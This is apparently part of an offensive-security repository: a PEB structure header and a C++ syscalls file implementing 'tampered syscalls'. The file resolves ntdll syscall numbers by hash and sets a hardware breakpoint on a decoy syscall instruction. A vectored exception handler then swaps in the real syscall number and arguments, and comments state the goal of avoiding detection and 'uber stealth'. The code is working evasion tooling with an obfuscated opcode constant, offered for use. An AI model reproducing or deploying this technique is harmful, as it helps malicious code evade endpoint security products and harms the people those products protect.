ImageSubsystemMinorVersion; //0x130 222 | UCHAR Padding4[4]; //0x134 223 | ULONGLONG ActiveProcessAffinityMask; //0x138 224 | ULONG GdiHandleBuffer[60]; //0x140 225 | ULONGLONG PostProcessInitRoutine; //0x230 226 | ULONGLONG TlsExpansionBitmap; //0x238 227 | ULONG TlsExpansionBitmapBits[32]; //0x240 228 | ULONG SessionId; //0x2c0 229 | UCHAR Padding5[4]; //0x2c4 230 | union _ULARGE_INTEGER AppCompatFlags; //0x2c8 231 | union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 232 | ULONGLONG pShimData; //0x2d8 233 | ULONGLONG AppCompatInfo; //0x2e0 234 | struct _INT_STRING64 CSDVersion; //0x2e8 235 | ULONGLONG ActivationContextData; //0x2f8 236 | ULONGLONG ProcessAssemblyStorageMap; //0x300 237 | ULONGLONG SystemDefaultActivationContextData; //0x308 238 | ULONGLONG SystemAssemblyStorageMap; //0x310 239 | ULONGLONG MinimumStackCommit; //0x318 240 | ULONGLONG SparePointers[4]; //0x320 241 | ULONG SpareUlongs[5]; //0x340 242 | ULONGLONG WerRegistrationData; //0x358 243 | ULONGLONG WerShipAssertPtr; //0x360 244 | ULONGLONG pUnused; //0x368 245 | ULONGLONG pImageHeaderHash; //0x370 246 | union 247 | { 248 | ULONG TracingFlags; //0x378 249 | struct 250 | { 251 | ULONG HeapTracingEnabled : 1; //0x378 252 | ULONG CritSecTracingEnabled : 1; //0x378 253 | ULONG LibLoaderTracingEnabled : 1; //0x378 254 | ULONG SpareTracingBits : 29; //0x378 255 | }; 256 | }; 257 | UCHAR Padding6[4]; //0x37c 258 | ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 259 | ULONGLONG TppWorkerpListLock; //0x388 260 | struct LIST_ENTRY64 TppWorkerpList; //0x390 261 | ULONGLONG WaitOnAddressHashTable[128]; //0x3a0 262 | ULONGLONG TelemetryCoverageHeader; //0x7a0 263 | ULONG CloudFileFlags; //0x7a8 264 | ULONG CloudFileDiagFlags; //0x7ac 265 | CHAR PlaceholderCompatibilityMode; //0x7b0 266 | CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 267 | ULONGLONG LeapSecondData; //0x7b8 268 | union 269 | { 270 | ULONG LeapSecondFlags; //0x7c0 271 | struct 272 | { 273 | ULONG SixtySecondEnabled : 1; //0x7c0 274 | ULONG Reserved : 31; //0x7c0 275 | }; 276 | }; 277 | ULONG NtGlobalFlag2; //0x7c4 278 | } _INT_PEB, *P_INT_PEB; 279 | 280 | #endif //PEPARSING_H 281 | -------------------------------------------------------------------------------- /src/syscalls.cpp: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // Created by Brendan Ortiz on 7/23/2024. 4 | // 5 | 6 | #include "../include/syscalls.h" 7 | 8 | #include 9 | 10 | #include "../include/PeParsing.h" 11 | #include 12 | 13 | #define Ntdll_dll_CRCW 0xf87b6f6b 14 | 15 | pSYS_ENTRY_LIST g_SyscallList = NULL; 16 | pBENIGN_ENTRY_LIST g_BenignSyscallList = NULL; 17 | pTAMPERED_SYSCALL g_TamperedSyscall = NULL; 18 | 19 | PCRITICAL_SECTION g_CriticalSection = NULL; 20 | PVOID g_VehHandler = NULL; 21 | LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS pExceptionInfo); 22 | volatile unsigned short g_SYSCALL_OPCODE = 0x405D; // 0x050F ^ 0x2325 23 | 24 | #if defined(_WIN64) 25 | #define SEARCH_BYTES 0x8b4c 26 | #else 27 | #define SEARCH_BYTES 0x00b8 28 | #endif 29 | 30 | BOOL IsPresent(DWORD64 dw64Hash, pBENIGN_ENTRY_LIST pList) { 31 | for(int i = 0; i < pList->u32Count; i++) { 32 | if(pList->Entries[i].u32Hash == dw64Hash) 33 | return TRUE; 34 | } 35 | return FALSE; 36 | } 37 | 38 | BOOL init() { 39 | g_TamperedSyscall = (pTAMPERED_SYSCALL)LocalAlloc(LPTR, sizeof(TAMPERED_SYSCALL)); 40 | g_CriticalSection = (PCRITICAL_SECTION)LocalAlloc(LPTR, sizeof(CRITICAL_SECTION)); 41 | 42 | if(g_TamperedSyscall == NULL) 43 | return FALSE; 44 | if(!PopulateSyscallList()) 45 | return FALSE; 46 | 47 | return TRUE; 48 | } 49 | 50 | BOOL PopulateSyscallList() { 51 | 52 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 53 | PDWORD pdwFunctionNameArray = NULL; 54 | PDWORD pdwFunctionAddressArray = NULL; 55 | PWORD pwFunctionOrdinalArray = NULL; 56 | HMODULE hNtdll = NULL; 57 | 58 | if(g_SyscallList == NULL) 59 | g_SyscallList = (pSYS_ENTRY_LIST)LocalAlloc(LPTR, sizeof(SYS_ENTRY_LIST)); // we do not already have memory reserved for our list 60 | 61 | if(g_SyscallList->u32Count) 62 | return TRUE; // our list is already populated 63 | hNtdll = (HMODULE)GetModuleBaseAddr(Ntdll_dll_CRCW); 64 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)GetExportDirectoryAddress(hNtdll); 65 | 66 | pdwFunctionNameArray = (PDWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfNames); 67 | pdwFunctionAddressArray = (PDWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfFunctions); 68 | pwFunctionOrdinalArray = (PWORD)((LPBYTE)hNtdll + pExportDirectory->AddressOfNameOrdinals); 69 | 70 | // Store Zw* syscalls addresses 71 | for (int i = 0; i < pExportDirectory->NumberOfNames; i++) { 72 | LPSTR pFunctionName = (LPSTR)((LPBYTE)hNtdll + pdwFunctionNameArray[i]); 73 | 74 | if (*(unsigned short*)pFunctionName == 'wZ' && g_SyscallList->u32Count <= MAX_ENTRIES) { // we've found a syscall name. 75 | ULONG_PTR uAddress = (ULONG_PTR)((LPBYTE)hNtdll + pdwFunctionAddressArray[pwFunctionOrdinalArray[i]]); // obtain address pointer 76 | DWORD wBytes = *(DWORD*)uAddress; //obtain the first 2 bytes of the func. 77 | DWORD u32Hash = HASHA(pFunctionName); //obtain the function hash 78 | 79 | g_SyscallList->Entries[g_SyscallList->u32Count].u32Hash = u32Hash; // populate our reg syscall list no matter what 80 | g_SyscallList->Entries[g_SyscallList->u32Count].uAddress = uAddress; 81 | g_SyscallList->u32Count++; 82 | 83 | if((wBytes & SEARCH_BYTES) == SEARCH_BYTES) { // we've found a benign syscall. populate the entry in benign list. 84 | for(int j = 0; j < 0x20; j++) { //loop until we find the syscall. 85 | wBytes = *(DWORD*)(uAddress + j); // update bytes. 86 | if((wBytes & 0x000000B8) == 0x000000B8) { // syscall found. 87 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].u32Hash = u32Hash; //populate our benign syscall. 88 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].uAddress = uAddress; 89 | g_BenignSyscallList->Entries[g_BenignSyscallList->u32Count].SSN = *(DWORD*)(uAddress + j + 1); 90 | g_BenignSyscallList->u32Count++; 91 | break; 92 | } 93 | } 94 | } 95 | } 96 | } 97 | 98 | // Sort Zw* syscalls addresses in ascending order 99 | // bubble sort addresses. 100 | for (int i = 0; i < g_SyscallList->u32Count - 0x01; i++){ 101 | 102 | for (int j = 0; j < g_SyscallList->u32Count - i - 0x01; j++){ 103 | 104 | if (g_SyscallList->Entries[j].uAddress > g_SyscallList->Entries[j + 1].uAddress) { 105 | 106 | SYSCALL_ENTRY TempEntry = { .u32Hash = g_SyscallList->Entries[j].u32Hash, .uAddress = g_SyscallList->Entries[j].uAddress }; 107 | 108 | g_SyscallList->Entries[j].u32Hash = g_SyscallList->Entries[j + 1].u32Hash; 109 | g_SyscallList->Entries[j].uAddress = g_SyscallList->Entries[j + 1].uAddress; 110 | 111 | g_SyscallList->Entries[j + 1].u32Hash = TempEntry.u32Hash; 112 | g_SyscallList->Entries[j + 1].uAddress = TempEntry.uAddress; 113 | 114 | } 115 | } 116 | } 117 | 118 | // sort our list of benign syscalls by SSN instead of address. 119 | // bubble sort SSNs. This will inherently give us the addresses in the correct order. 120 | // additionally, the SSN will become the index of the syscall in the list. 121 | // when we randomly choose a benign syscall to hook, we will use the SSN as the index. 122 | for (int i = 0; i < g_BenignSyscallList->u32Count - 0x01; i++){ 123 | 124 | for (int j = 0; j < g_BenignSyscallList->u32Count - i - 0x01; j++){ 125 | 126 | if (g_BenignSyscallList->Entries[j].SSN > g_BenignSyscallList->Entries[j + 1].SSN) { 127 | 128 | BENIGN_SYSCALL_ENTRY TempEntry = { .u32Hash = g_BenignSyscallList->Entries[j].u32Hash, .uAddress = g_BenignSyscallList->Entries[j].uAddress, .SSN = g_BenignSyscallList->Entries[j].SSN }; 129 | 130 | g_BenignSyscallList->Entries[j].u32Hash = g_BenignSyscallList->Entries[j + 1].u32Hash; 131 | g_BenignSyscallList->Entries[j].uAddress = g_BenignSyscallList->Entries[j + 1].uAddress; 132 | g_BenignSyscallList->Entries[j].SSN = g_BenignSyscallList->Entries[j + 1].SSN; 133 | 134 | g_BenignSyscallList->Entries[j + 1].u32Hash = TempEntry.u32Hash; 135 | g_BenignSyscallList->Entries[j + 1].uAddress = TempEntry.uAddress; 136 | g_BenignSyscallList->Entries[j + 1].SSN = TempEntry.SSN; 137 | 138 | } 139 | } 140 | } 141 | 142 | return TRUE; // populated and sorted. 143 | } 144 | 145 | DWORD FetchSSNFromSyscallEntries(UINT32 u32Hash) { 146 | 147 | if(!PopulateSyscallList()) 148 | return 0x00; 149 | 150 | for (int i = 0; i < g_SyscallList->u32Count; i++) { 151 | if (g_SyscallList->Entries[i].u32Hash == u32Hash) 152 | return i; 153 | } 154 | 155 | return 0x00; 156 | } 157 | 158 | VOID PopulateTamperedSyscall(ULONG_PTR uParam1, ULONG_PTR uParam2, ULONG_PTR uParam3, ULONG_PTR uParam4, 159 | ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, 160 | ULONG_PTR uParamB, DWORD dwSyscallNumber, INT Nargs) { 161 | 162 | EnterCriticalSection(g_CriticalSection); 163 | g_TamperedSyscall->uParam1 = uParam1; 164 | g_TamperedSyscall->uParam2 = uParam2; 165 | g_TamperedSyscall->uParam3 = uParam3; 166 | g_TamperedSyscall->uParam4 = uParam4; 167 | g_TamperedSyscall->uParam5 = uParam5; 168 | g_TamperedSyscall->uParam6 = uParam6; 169 | g_TamperedSyscall->uParam7 = uParam7; 170 | g_TamperedSyscall->uParam8 = uParam8; 171 | g_TamperedSyscall->uParam9 = uParam9; 172 | g_TamperedSyscall->uParamA = uParamA; 173 | g_TamperedSyscall->uParamB = uParamB; 174 | g_TamperedSyscall->dwSyscallNumber = dwSyscallNumber; 175 | g_TamperedSyscall->Nargs = Nargs; 176 | 177 | LeaveCriticalSection(g_CriticalSection); 178 | 179 | } 180 | 181 | BOOL InitHardwareBreakpointHooking() { 182 | if(g_VehHandler) 183 | return TRUE; 184 | 185 | InitializeCriticalSection(g_CriticalSection); 186 | 187 | if(!(g_VehHandler = AddVectoredExceptionHandler(0x01, (PVECTORED_EXCEPTION_HANDLER)ExceptionHandlerCallbackRoutine))) { 188 | return FALSE; 189 | } 190 | 191 | return TRUE; 192 | } 193 | 194 | BOOL HaltHardwareBreakpointHooking() { 195 | DeleteCriticalSection(g_CriticalSection); 196 | 197 | if(g_VehHandler) { 198 | if(RemoveVectoredExceptionHandler(g_VehHandler) == 0x00) { 199 | return FALSE; 200 | } 201 | 202 | return TRUE; 203 | } 204 | return FALSE; 205 | } 206 | 207 | unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue) { 208 | unsigned long long mask = (1UL << NmbrOfBitsToModify) - 1UL; 209 | unsigned long long NewDr7Register = (CurrentDr7Register & ~(mask << StartingBitPosition)) | (NewBitValue << StartingBitPosition); 210 | return NewDr7Register; 211 | } 212 | 213 | /* 214 | TODO : Implement this function in a way that uses a list of benign functions chosen at random to hook to avoid detection. 215 | Once the syscall is used, the hook should be removed 216 | and then a new syscall should be chosen at random to hook. 217 | */ 218 | BOOL InstallHardwareBreakpointHook(_In_ DWORD dwThreadID, _In_ ULONG_PTR uTargetFuncAddress) { 219 | CONTEXT Context = {.ContextFlags = CONTEXT_DEBUG_REGISTERS}; 220 | HANDLE hThread = NULL; 221 | BOOL bResult = FALSE; 222 | 223 | //TODO : use indirect syscalls and native functions for this for uber stealth. 224 | if(!(hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadID))) { 225 | goto _END_OF_FUNC; 226 | } 227 | 228 | if(!GetThreadContext(hThread, &Context)) { 229 | goto _END_OF_FUNC; 230 | } 231 | 232 | Context.Dr0 = uTargetFuncAddress; 233 | Context.Dr6 = 0x00; 234 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x10, 0x02, 0x00); // Clear the local and global exact breakpoints 235 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x12, 0x02, 0x00); // Clear the local and global exact breakpoints 236 | Context.Dr7 = SetDr7Bits(Context.Dr7, 0x00, 0x01, 0x01); // Set the local exact breakpoint 237 | 238 | if(!SetThreadContext(hThread, &Context)) 239 | goto _END_OF_FUNC; 240 | 241 | bResult = TRUE; 242 | 243 | _END_OF_FUNC: 244 | if(hThread) 245 | CloseHandle(hThread); 246 | 247 | return bResult; 248 | } 249 | 250 | BOOL InitializeTamperedSyscall(_In_ ULONG_PTR uCalledSyscallAddress, _In_ UINT32 FunctionHash, _In_ INT Nargs, _In_ ULONG_PTR uParam1, _In_ ULONG_PTR uParam2, _In_ ULONG_PTR uParam3, _In_ ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB) { 251 | 252 | if(!uCalledSyscallAddress || !FunctionHash) 253 | return FALSE; 254 | 255 | PVOID pDecoySyscallInstructionAdd = NULL; 256 | DWORD dwRealSyscallNumber = 0x00; 257 | 258 | for(int i = 0; i < 0x20; i++) { 259 | unsigned short opcodes = *(unsigned short*)(uCalledSyscallAddress + i); 260 | if(opcodes == (0x4552 ^ g_SYSCALL_OPCODE)) { 261 | pDecoySyscallInstructionAdd = (PVOID)(uCalledSyscallAddress + i); 262 | break; 263 | } 264 | } 265 | 266 | if(!pDecoySyscallInstructionAdd) 267 | return FALSE; 268 | 269 | if(!(dwRealSyscallNumber = FetchSSNFromSyscallEntries(FunctionHash))) 270 | return FALSE; 271 | 272 | PopulateTamperedSyscall(uParam1, uParam2, uParam3, uParam4, uParam5, uParam6, uParam7, uParam8, uParam9, uParamA, uParamB, dwRealSyscallNumber, Nargs); 273 | 274 | if(!InstallHardwareBreakpointHook(GetCurrentThreadId(), (ULONG_PTR)pDecoySyscallInstructionAdd)) 275 | return FALSE; 276 | 277 | return TRUE; 278 | } 279 | 280 | LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS pExceptionInfo) { 281 | BOOL bResolved = FALSE; 282 | 283 | if(pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) 284 | goto _EXIT_ROUTINE; 285 | 286 | if((ULONG_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress != pExceptionInfo->ContextRecord->Dr0) 287 | goto _EXIT_ROUTINE; 288 | 289 | EnterCriticalSection(g_CriticalSection); 290 | 291 | printf("[info ssn] : 0x%04X\n", g_TamperedSyscall->dwSyscallNumber); 292 | printf("[info param1] : 0x%llx\n", g_TamperedSyscall->uParam1); 293 | printf("[info param2] : 0x%llx\n", g_TamperedSyscall->uParam2); 294 | printf("[info param3] : 0x%llx\n", g_TamperedSyscall->uParam3); 295 | printf("[info param4] : 0x%llx\n", g_TamperedSyscall->uParam4); 296 | 297 | //Replace Decoy SSN 298 | pExceptionInfo->ContextRecord->Rax = (DWORD64)g_TamperedSyscall->dwSyscallNumber; 299 | // replace decoy parms 300 | pExceptionInfo->ContextRecord->R10 = g_TamperedSyscall->uParam1; 301 | pExceptionInfo->ContextRecord->Rdx = g_TamperedSyscall->uParam2; 302 | pExceptionInfo->ContextRecord->R8 = g_TamperedSyscall->uParam3; 303 | pExceptionInfo->ContextRecord->R9 = g_TamperedSyscall->uParam4; 304 | 305 | //stack content BEFORE the swap 306 | printf("stack content before modification\n"); 307 | printf("[info] rsp : 0x%llx\n", pExceptionInfo->ContextRecord->Rsp); 308 | printf("[info] RSP+8 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x08)); 309 | printf("[info] RSP+10 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x10)); 310 | printf("[info] RSP+18 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x18)); 311 | printf("[info] RSP+20 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x20)); 312 | printf("[info] RSP+28 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28)); 313 | printf("[info] RSP+30 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30)); 314 | printf("[info] RSP+38 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38)); 315 | printf("[info] RSP+40 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40)); 316 | printf("[info] RSP+48 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48)); 317 | printf("[info] RSP+50 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50)); 318 | printf("[info] RSP+58 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58)); 319 | 320 | 321 | // replace decoy parms on stack if needed. 322 | if(g_TamperedSyscall->Nargs > 4) { 323 | printf("stack content after modification\n"); 324 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28) = g_TamperedSyscall->uParam5; 325 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30) = g_TamperedSyscall->uParam6; 326 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38) = g_TamperedSyscall->uParam7; 327 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40) = g_TamperedSyscall->uParam8; 328 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48) = g_TamperedSyscall->uParam9; 329 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50) = g_TamperedSyscall->uParamA; 330 | *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58) = g_TamperedSyscall->uParamB; 331 | 332 | printf("[info] rsp : 0x%llx\n", pExceptionInfo->ContextRecord->Rsp); 333 | printf("[info] RSP+8 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x08)); 334 | printf("[info] RSP+10 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x10)); 335 | printf("[info] RSP+18 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x18)); 336 | printf("[info] RSP+20 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x20)); 337 | printf("[info] RSP+28 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x28)); 338 | printf("[info] RSP+30 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x30)); 339 | printf("[info] RSP+38 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x38)); 340 | printf("[info] RSP+40 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x40)); 341 | printf("[info] RSP+48 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x48)); 342 | printf("[info] RSP+50 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x50)); 343 | printf("[info] RSP+58 : 0x%llx\n", *(unsigned long long*)(pExceptionInfo->ContextRecord->Rsp + 0x58)); 344 | } 345 | 346 | 347 | //remove breakpoint 348 | pExceptionInfo->ContextRecord->Dr0 = 0ull; 349 | 350 | 351 | 352 | 353 | 354 | LeaveCriticalSection(g_CriticalSection); 355 | 356 | bResolved = TRUE; 357 | 358 | _EXIT_ROUTINE: 359 | return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH); 360 | } 361 | 362 | --------------------------------------------------------------------------------